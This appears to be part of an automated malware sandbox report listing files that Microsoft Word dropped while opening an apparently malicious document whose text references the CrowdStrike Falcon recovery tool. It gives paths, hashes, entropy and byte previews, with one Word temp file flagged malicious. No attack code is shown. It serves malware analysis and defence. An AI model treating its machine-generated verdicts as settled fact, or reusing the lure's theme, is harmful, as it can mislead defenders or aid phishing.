File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 837x754, components 3
Category:	dropped
Size (bytes):	66364
Entropy (8bit):	7.930881392262679
Encrypted:	false
SSDEEP:	768:UYytYytYy/OGTWD1qufcR9kyKfMhzEQnsi0Bm4/eevUAGEdUBS00dWX4VLZG:UJJLOGxJDiUiQnR6m4WAUEdUkgXM1G
MD5:	FA62B61B2E012E56787AD09FF660B32A
SHA1:	32F29245140B72BD99D4C42408EDA9DFE4F088CC
SHA-256:	643C921D41C123EB27A5BED51AF0F611EA7ECB4EFD3A5FA34DE8FFBC8F5781FD
SHA-512:	FB7145BAC331C9A246C49D1E9854398CF65DF6B023BC0E3448A10A4759FB6DA8D60D90316E29991FDE559D0E43A1D5BB5EA3D5837F284DEA3B9EED0143A1D3B6
Malicious:	false
Preview:	......Exif..II*...........................V...........^...(.......................i.......f.......H.......H.................0210....................0100....................E.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ ............acspMSFT....lcms...........................-lcms................................................dmnd.......jdesc.......hdmdd.......hwtpt...P....rXYZ...d....bXYZ...x....gXYZ........rTRC........gTRC........bTRC........chrm.......$cprt.......!desc........lcms generated .................................................................................desc........sRGB........................................................................................desc........sRGB........................................................................................XYZ .......=........XYZ ......o...8.....XYZ ......$.........XYZ ......b.........curv.......................#.(.-.2.7.;.@.E.J.O.T.Y.^.c.h.m.r.w.\|......................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\42ED3717.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 838x340, components 3
Category:	dropped
Size (bytes):	44995
Entropy (8bit):	7.9304820357792645
Encrypted:	false
SSDEEP:	768:QYytYytYyziJ6D4TnrTn8zbDRrjzQLpFDSsgwpfw+6+i:QJJXiJ6DYrkLQ1Fhdpo+6+i
MD5:	D76D9D62CD9BDB3201F8B08A60DDD681
SHA1:	A0A5A65424C08AD3C165B72DCC790F5682149DA2
SHA-256:	5B00B1362C95117CC1FBD59F3248ACF3F4DFE6F86D11999ECDEE9458F04E17E9
SHA-512:	2890D8218157B84D477D48772DE2FF81CE363EF3A1535CA5D3E2AEE48381EAD18C59827E944E127EED0412F317B9825CBB5AEF9CFAD953B0F20F8D720B10B121
Malicious:	false
Preview:	......Exif..II*...........................V...........^...(.......................i.......f.......H.......H.................0210....................0100....................F...........T...........ICC_PROFILE.......lcms.0..mntrRGB XYZ ............acspMSFT....lcms...........................-lcms................................................dmnd.......jdesc.......hdmdd.......hwtpt...P....rXYZ...d....bXYZ...x....gXYZ........rTRC........gTRC........bTRC........chrm.......$cprt.......!desc........lcms generated .................................................................................desc........sRGB........................................................................................desc........sRGB........................................................................................XYZ .......=........XYZ ......o...8.....XYZ ......$.........XYZ ......b.........curv.......................#.(.-.2.7.;.@.E.J.O.T.Y.^.c.h.m.r.w.\|......................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\43172D61.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 837x754, components 3
Category:	dropped
Size (bytes):	66364
Entropy (8bit):	7.930881392262679
Encrypted:	false
SSDEEP:	768:UYytYytYy/OGTWD1qufcR9kyKfMhzEQnsi0Bm4/eevUAGEdUBS00dWX4VLZG:UJJLOGxJDiUiQnR6m4WAUEdUkgXM1G
MD5:	FA62B61B2E012E56787AD09FF660B32A
SHA1:	32F29245140B72BD99D4C42408EDA9DFE4F088CC
SHA-256:	643C921D41C123EB27A5BED51AF0F611EA7ECB4EFD3A5FA34DE8FFBC8F5781FD
SHA-512:	FB7145BAC331C9A246C49D1E9854398CF65DF6B023BC0E3448A10A4759FB6DA8D60D90316E29991FDE559D0E43A1D5BB5EA3D5837F284DEA3B9EED0143A1D3B6
Malicious:	false
Preview:	......Exif..II*...........................V...........^...(.......................i.......f.......H.......H.................0210....................0100....................E.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ ............acspMSFT....lcms...........................-lcms................................................dmnd.......jdesc.......hdmdd.......hwtpt...P....rXYZ...d....bXYZ...x....gXYZ........rTRC........gTRC........bTRC........chrm.......$cprt.......!desc........lcms generated .................................................................................desc........sRGB........................................................................................desc........sRGB........................................................................................XYZ .......=........XYZ ......o...8.....XYZ ......$.........XYZ ......b.........curv.......................#.(.-.2.7.;.@.E.J.O.T.Y.^.c.h.m.r.w.\|......................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8C6EEAE0.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 841x744, components 3
Category:	dropped
Size (bytes):	74268
Entropy (8bit):	7.9444839660162145
Encrypted:	false
SSDEEP:	1536:KJJ9JA6k9NJBwEQVuIeFVfm5iQmeDDRx/XBdRbX1o/:KJJ/uBw0FV+5iQmeBx/xdRbX1o/
MD5:	45C59288E77195B7C14579CD59717986
SHA1:	AEF3C27DB85493C0E85CAD04E301C092640E7684
SHA-256:	C4AFC369DC15759D81E8563052CFDA5D04EF6B7F76177EB01AA4C2695CB1486F
SHA-512:	7B1F375175780FC5864FA67C1CE64A885B471678EF2D966B00107AE3FBC1649EDE1388BC5F382A002105FC2F624DA230C64D21F005DA79D4EE9B7C20B5764BDE
Malicious:	false
Preview:	......Exif..II*...........................V...........^...(.......................i.......f.......H.......H.................0210....................0100....................I.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ ............acspMSFT....lcms...........................-lcms................................................dmnd.......jdesc.......hdmdd.......hwtpt...P....rXYZ...d....bXYZ...x....gXYZ........rTRC........gTRC........bTRC........chrm.......$cprt.......!desc........lcms generated .................................................................................desc........sRGB........................................................................................desc........sRGB........................................................................................XYZ .......=........XYZ ......o...8.....XYZ ......$.........XYZ ......b.........curv.......................#.(.-.2.7.;.@.E.J.O.T.Y.^.c.h.m.r.w.\|......................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B1730126.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 838x340, components 3
Category:	dropped
Size (bytes):	44995
Entropy (8bit):	7.9304820357792645
Encrypted:	false
SSDEEP:	768:QYytYytYyziJ6D4TnrTn8zbDRrjzQLpFDSsgwpfw+6+i:QJJXiJ6DYrkLQ1Fhdpo+6+i
MD5:	D76D9D62CD9BDB3201F8B08A60DDD681
SHA1:	A0A5A65424C08AD3C165B72DCC790F5682149DA2
SHA-256:	5B00B1362C95117CC1FBD59F3248ACF3F4DFE6F86D11999ECDEE9458F04E17E9
SHA-512:	2890D8218157B84D477D48772DE2FF81CE363EF3A1535CA5D3E2AEE48381EAD18C59827E944E127EED0412F317B9825CBB5AEF9CFAD953B0F20F8D720B10B121
Malicious:	false
Preview:	......Exif..II*...........................V...........^...(.......................i.......f.......H.......H.................0210....................0100....................F...........T...........ICC_PROFILE.......lcms.0..mntrRGB XYZ ............acspMSFT....lcms...........................-lcms................................................dmnd.......jdesc.......hdmdd.......hwtpt...P....rXYZ...d....bXYZ...x....gXYZ........rTRC........gTRC........bTRC........chrm.......$cprt.......!desc........lcms generated .................................................................................desc........sRGB........................................................................................desc........sRGB........................................................................................XYZ .......=........XYZ ......o...8.....XYZ ......$.........XYZ ......b.........curv.......................#.(.-.2.7.;.@.E.J.O.T.Y.^.c.h.m.r.w.\|......................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CC449979.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 841x518, components 3
Category:	dropped
Size (bytes):	79621
Entropy (8bit):	7.949654755512444
Encrypted:	false
SSDEEP:	1536:EJJt5rmggmHt1zVpigR5lV4Bj1yh0/fakUhx4ZnfO8gf:EJJ3mg9/zVpigR5lw1HabP4ZfOx
MD5:	54A07C35DADB508F554F0ED25AA155B3
SHA1:	84FAC4D81E2AF4E920E4971F8A5D53AC4A8C6BDA
SHA-256:	94EE01362EE9EE7E61A1A62BD197CFF851A64B1DE02AAFE24C1E0A464E4A6036
SHA-512:	D9550DA2511C031F863C6DBDBEBE09E58E3DB74BC7EB564BF7667F8C8F12A55C155092074EDC2FF66AEA6AB7EF630E6625D7F50B68F4EF3215858A407F5320E1
Malicious:	false
Preview:	......Exif..II*...........................V...........^...(.......................i.......f.......H.......H.................0210....................0100....................I.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ ............acspMSFT....lcms...........................-lcms................................................dmnd.......jdesc.......hdmdd.......hwtpt...P....rXYZ...d....bXYZ...x....gXYZ........rTRC........gTRC........bTRC........chrm.......$cprt.......!desc........lcms generated .................................................................................desc........sRGB........................................................................................desc........sRGB........................................................................................XYZ .......=........XYZ ......o...8.....XYZ ......$.........XYZ ......b.........curv.......................#.(.-.2.7.;.@.E.J.O.T.Y.^.c.h.m.r.w.\|......................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E611A7F3.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 841x744, components 3
Category:	dropped
Size (bytes):	74268
Entropy (8bit):	7.9444839660162145
Encrypted:	false
SSDEEP:	1536:KJJ9JA6k9NJBwEQVuIeFVfm5iQmeDDRx/XBdRbX1o/:KJJ/uBw0FV+5iQmeBx/xdRbX1o/
MD5:	45C59288E77195B7C14579CD59717986
SHA1:	AEF3C27DB85493C0E85CAD04E301C092640E7684
SHA-256:	C4AFC369DC15759D81E8563052CFDA5D04EF6B7F76177EB01AA4C2695CB1486F
SHA-512:	7B1F375175780FC5864FA67C1CE64A885B471678EF2D966B00107AE3FBC1649EDE1388BC5F382A002105FC2F624DA230C64D21F005DA79D4EE9B7C20B5764BDE
Malicious:	false
Preview:	......Exif..II*...........................V...........^...(.......................i.......f.......H.......H.................0210....................0100....................I.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ ............acspMSFT....lcms...........................-lcms................................................dmnd.......jdesc.......hdmdd.......hwtpt...P....rXYZ...d....bXYZ...x....gXYZ........rTRC........gTRC........bTRC........chrm.......$cprt.......!desc........lcms generated .................................................................................desc........sRGB........................................................................................desc........sRGB........................................................................................XYZ .......=........XYZ ......o...8.....XYZ ......$.........XYZ ......b.........curv.......................#.(.-.2.7.;.@.E.J.O.T.Y.^.c.h.m.r.w.\|......................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRC0000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	250145
Entropy (8bit):	7.9935463566733125
Encrypted:	true
SSDEEP:	6144:m00BJM20XF07Jtd0YPFKGTFHLYwgNkSagBRK3WJMLtFqFk06TOOp7uuVZpVPvG:wBJUXydtdfogBLngNMVG6xFqJ6TOOdur
MD5:	891E6C7EC5DE6384509564D8A0DEDECF
SHA1:	187994C9D8A21DD977473EF8E7A6EF4C7F2EAE52
SHA-256:	1E224B11854CE62115305CE613169DAD1C4AA59D35C8482E979532ADCA124A10
SHA-512:	27D6EF69B33A4F363E3D939EA4988A477B09F40401FF7645A6D7AA2ABDB9F7AD329C6A70B50996F27789164E5E2E4A41C12B3BACD2FB2B4EAC9486C00AD4D7E8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	PK..-.......!..am.............[Content_Types].xml.......................n.0.........D...(,...6@. W.Z.t...k'~..-Eh..tj.b.".Y.....Yw..\|P.l^.X.F.Z..d..../,.(L-:k.d;..z....~. d.6.d+D... W.E(..C+..Z ..-wB..-.O..g..A0.cd.......0.}..}.J..}..E....:%..2...!.M.$..J.y......[...L..f.= ..D......R....r.6.p.+....Oj.W5dw....i......M..8f8.()F....[#..hU(s.r....(.a6(...&.....AS.].......w`.m.F.xT..........{.9o%.@8..#:.".p..=7m..$.".@NFx...d)..'.4..8E7Ft2..z../.d........z..} .8....N.@...=.$..c..s?....Q.....;i....>.>..[..{...}....9...,.. ..PK..-.......!..U~............._rels/.rels......................MK.1....!.;."..^D.Md..C2.........(.....3y..3C....+.4xW..(A.......yX.JB....Wp.....b..#InJ.......E..b.=[J....M.%...a .B..,o0.f@=a... n........o.A..;.N.<...v.."...e...b.R...1..R.EF..7Z.n...hY..j.y..#1'.<....7.......9m.......3...Y.. ..PK..-.......!.qq..............word/document.xml....m.......2(.......}.n........^..-.N.3I QT.M..hw.9@..E...S$./.}...;.... .G.'..*R..v.@-+.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{085F5DEF-FD43-4377-836E-D631451649D2}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	4.099210753349057
Encrypted:	false
SSDEEP:	384:XtT+CgCz8l15lZzNKY235JzN0jyLUtT+DCz8l15lZzNKY235JzfN0jyL:6Ca/lZzNj235lNdZCa/lZzNj235lFd
MD5:	400C84541516D75316906A9716BE824C
SHA1:	B5CDC0ED9EF4354FB41237439FE682E5A082692E
SHA-256:	E4718B7F3CF08AD696781B66DB4D1E84A7A6AE253BCFCDE4066CF02756EBBABA
SHA-512:	DDB320F30F935FE4328503D3F19431CF036ABCCF30E6CF195AC03D8161007A1D21365E664AC06827119A7864671BF2AE9339FD42D7BFBA6ADA0A9DD65BB1544A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{43F4B375-8E7A-44EF-86E3-6C5BC465D1F2}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	4.099210753349057
Encrypted:	false
SSDEEP:	384:XtT+CgCz8l15lZzNKY235JzN0jyLUtT+DCz8l15lZzNKY235JzfN0jyL:6Ca/lZzNj235lNdZCa/lZzNj235lFd
MD5:	400C84541516D75316906A9716BE824C
SHA1:	B5CDC0ED9EF4354FB41237439FE682E5A082692E
SHA-256:	E4718B7F3CF08AD696781B66DB4D1E84A7A6AE253BCFCDE4066CF02756EBBABA
SHA-512:	DDB320F30F935FE4328503D3F19431CF036ABCCF30E6CF195AC03D8161007A1D21365E664AC06827119A7864671BF2AE9339FD42D7BFBA6ADA0A9DD65BB1544A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{505386B3-5C57-4893-9400-535E396A042F}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.5093262897962565
Encrypted:	false
SSDEEP:	6:mEMEEEe9lCgKRAElAtsArA1klAHdtckxr/Dx:IYP/l/uH6x9rx
MD5:	98F7DF0146DA5D1C46C6ABF7D49ECD62
SHA1:	289E7FFF84BB3843BC652C1FF357CCEA960DAD2F
SHA-256:	D5291DE37D4EFC109AB4052527CE3012DF209FB1672F0CCF61A4578B740A73C0
SHA-512:	5E1D10067BFE38827433374C11C061F026BA80A9F5192CFF21155E99DB0699B8EB8B0C224FB277F7F9CC6E30BCD2779DCF66EAC99302CCD2CA0260DF93BF0DBC
Malicious:	false
Preview:	....1.2.....1.2.....1.....1.....1.2.....1.2.....1.2.....1.2.....(.....(.....(.....(.....(...e.n.g.i.n.e.e.r...e......................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...&...(.......0...6...8...>...@...D...F...J...L...P...R...V...X...\...n.......................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{6FE5DC30-1E06-4128-B942-DEBBBBCDEE1D}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	43596
Entropy (8bit):	3.6705361254320246
Encrypted:	false
SSDEEP:	768:6kDl9L3AFPz4qrkv8RkaOIvWRLjCOojE1iRUSlV8ivuCDSle3H0XJ44:pDlV3ABz4Ykv8RkaOIvIPCOojBV8CuCQ
MD5:	814BF7F93B5683057A1729EA1FAE060E
SHA1:	BE861A93A83D93F7D0076A62A3B891525F17BCFD
SHA-256:	AC3B70A9AD0902B84A32390D07C75C4113600164F60C556EA6E54238FF3C1DF6
SHA-512:	95A86E91C7808AC3DFB07FC104DEAAFF482C50F005BB9E651D3AC423B04D850592F4CC7C5D54F2B9C0DAC045C889DC6CFC7090AB8C4A8B7AEE5FA842A0BBAD8D
Malicious:	false
Preview:	..................................A.s. .a. .f.o.l.l.o.w.-.u.p. .t.o. .t.h.e. .C.r.o.w.d.S.t.r.i.k.e. .F.a.l.c.o.n. .a.g.e.n.t. .i.s.s.u.e. .i.m.p.a.c.t.i.n.g. .W.i.n.d.o.w.s. .c.l.i.e.n.t.s. .a.n.d. .s.e.r.v.e.r.s.,. .M.i.c.r.o.s.o.f.t. .h.a.s. .r.e.l.e.a.s.e.d. .a.n...u.p.d.a.t.e.d...r.e.c.o.v.e.r.y. .t.o.o.l. .w.i.t.h...t.w.o. .r.e.p.a.i.r. .o.p.t.i.o.n.s...t.o. .h.e.l.p. .I.T. .a.d.m.i.n.s. .e.x.p.e.d.i.t.e. .t.h.e. .r.e.p.a.i.r. .p.r.o.c.e.s.s... .T.h.e. .s.i.g.n.e.d. ................................................................................... ..."...........L......................................................................................................................................................................................................................................................................................................................................................................$..&..F...d......d...d.-D..M............[$.\$.a$.gdK.e.....$.-D..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{894978C9-3668-4D31-AF1E-60B0DEF1662A}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.5093262897962567
Encrypted:	false
SSDEEP:	3:ml+lGl+l+l+l1PPPlLlAytl7lhlJvl5hzldlxpxl/b1l/pl/Ppl/Rl/5bhlll/tB:mEMEEEe9lCgKCkgA9P61Y
MD5:	92AC86FA3C6B284A98F00F49FDCACB49
SHA1:	EBE19354C0CB86AEEA9525A3472CCECA8A313EBC
SHA-256:	B7B29D8BC27DF9FAD485B4E802BDA6C39C14DC4CF3A9FB9B577E44219A61D9E7
SHA-512:	6B47784EDD2E57F5774CEEE86747899CABBFF7AED2623F849872A47B8AF842F1EE4FEF8A7494D95C373F1D8D5C9F2E78E099F515252377BBB7E5DBD8A8E4AC2A
Malicious:	false
Preview:	....1.2.....1.2.....1.....1.....1.2.....1.2.....1.2.....1.2.....(.....(.....(.....(.....(...e.n.g.i.n.e.e.r...e......................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...&...(.......0...6...8...>...@...D...F...J...L...P...R...V...X...\...n.......................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{B3EC896D-9D96-4AE9-BA85-97C47E5353BA}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	43596
Entropy (8bit):	3.6705361254320246
Encrypted:	false
SSDEEP:	768:6kDl9L3AFPz4qrkv8RkaOIvWRLjCOojE1iRUSlV8ivuCDSle3H0XJ44:pDlV3ABz4Ykv8RkaOIvIPCOojBV8CuCQ
MD5:	814BF7F93B5683057A1729EA1FAE060E
SHA1:	BE861A93A83D93F7D0076A62A3B891525F17BCFD
SHA-256:	AC3B70A9AD0902B84A32390D07C75C4113600164F60C556EA6E54238FF3C1DF6
SHA-512:	95A86E91C7808AC3DFB07FC104DEAAFF482C50F005BB9E651D3AC423B04D850592F4CC7C5D54F2B9C0DAC045C889DC6CFC7090AB8C4A8B7AEE5FA842A0BBAD8D
Malicious:	false
Preview:	..................................A.s. .a. .f.o.l.l.o.w.-.u.p. .t.o. .t.h.e. .C.r.o.w.d.S.t.r.i.k.e. .F.a.l.c.o.n. .a.g.e.n.t. .i.s.s.u.e. .i.m.p.a.c.t.i.n.g. .W.i.n.d.o.w.s. .c.l.i.e.n.t.s. .a.n.d. .s.e.r.v.e.r.s.,. .M.i.c.r.o.s.o.f.t. .h.a.s. .r.e.l.e.a.s.e.d. .a.n...u.p.d.a.t.e.d...r.e.c.o.v.e.r.y. .t.o.o.l. .w.i.t.h...t.w.o. .r.e.p.a.i.r. .o.p.t.i.o.n.s...t.o. .h.e.l.p. .I.T. .a.d.m.i.n.s. .e.x.p.e.d.i.t.e. .t.h.e. .r.e.p.a.i.r. .p.r.o.c.e.s.s... .T.h.e. .s.i.g.n.e.d. ................................................................................... ..."...........L......................................................................................................................................................................................................................................................................................................................................................................$..&..F...d......d...d.-D..M............[$.\$.a$.gdK.e.....$.-D..

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1721656660101767000_EDECE918-A2EA-49DC-A414-445477A4F37D.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (10173), with CRLF line terminators
Category:	dropped
Size (bytes):	30125
Entropy (8bit):	5.477074988936344
Encrypted:	false
SSDEEP:	768:6CT+8jVZqN+uwTICQPwWoIIRgQazes1tDjjnnBFAmilMwtIffmz:6CT+8jVswuWICMwWoIIRgtes1tHrnBFq
MD5:	767677ABAE05CEE23150528539A949DB
SHA1:	5DEF58A91E987CC718FB51186F58CBE25EEA5E99
SHA-256:	0EB1169E0391AFBEA5244963F7ECB56B04BBE47CF090F1E561FD5508CEAFCBEA
SHA-512:	A22A4837D13628894020D596FFD1A6CA3A596C81990B7C6B61D120DACB58F1F387921D6F9F95C5642FA1CCC6A04FFF7B51A903BB55FFE05F719DBF68EEB6ABDC
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..07/22/2024 13:57:40.364.WINWORD (0x86C).0xC24.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":23,"Time":"2024-07-22T13:57:40.364Z","Contract":"Office.System.Activity","Activity.CV":"GOns7eqi3EmkFERUd6TzfQ.7.1","Activity.Duration":1309,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Activity.Result.Code":-2147024890,"Activity.Result.Type":"HRESULT","Activity.Result.Tag":528307459}...07/22/2024 13:57:40.364.WINWORD (0x86C).0xC24.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.ProcessIdleQueueJob","Flags":33777014401990913,"InternalSequenceNumber":24,"Time":"2024-07-22T13:57:40.364Z","Contract":"Office.System.Activity","Activity.CV":"GOns7eqi3EmkFERUd6TzfQ.7","Activity.Duration":3803,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Data.FailureDiag

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1721656713704356800_77D492B2-7E92-413F-B233-B07670110F32.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (28929), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.19469915830844212
Encrypted:	false
SSDEEP:	1536:8oMF0cgFWeIuTT5jpzo+cBwBuJG9/juQ6hzqBJJsjrDvWl0UOp+cqe29zjWnvj+d:Bc7eIU3o++w6Cfjl
MD5:	651F2829FBA04A38F048069D9C6A2F71
SHA1:	732800B964AAC1EC0362C60B934CD1F0826C1659
SHA-256:	11C95D2AB3FBD174034CF0229C2A325D3FA103E045A587695AD16E02F5FEB5A2
SHA-512:	1CA98CE46300DA7ED9A3566F0ED03976F234C8BCBFA4683236061A39A3BD5AC2492455B7409C462156EF573B2F5B2C2E16952206C74C1EA7D07A52A17A6D1E8A
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..07/22/2024 13:58:33.768.WINWORD (0xF10).0x19F8.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":24,"Time":"2024-07-22T13:58:33.768Z","Contract":"Office.System.Activity","Activity.CV":"spLUd5J+P0GyM7B2cBEPMg.1.14","Activity.Duration":17,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...07/22/2024 13:58:33.768.WINWORD (0xF10).0x19F8.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":26,"Time":"2024-07-22T13:58:33.768Z","Contract":"Office.System.Activity","Activity.CV":"spLUd5J+P0GyM7B2cBEPMg.1.15","Activity.Duration":8845,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajorVersion":

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1721656713705260000_77D492B2-7E92-413F-B233-B07670110F32.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TCD3B14.tmp\Basis.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD3B14.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5361139545278144
Encrypted:	false
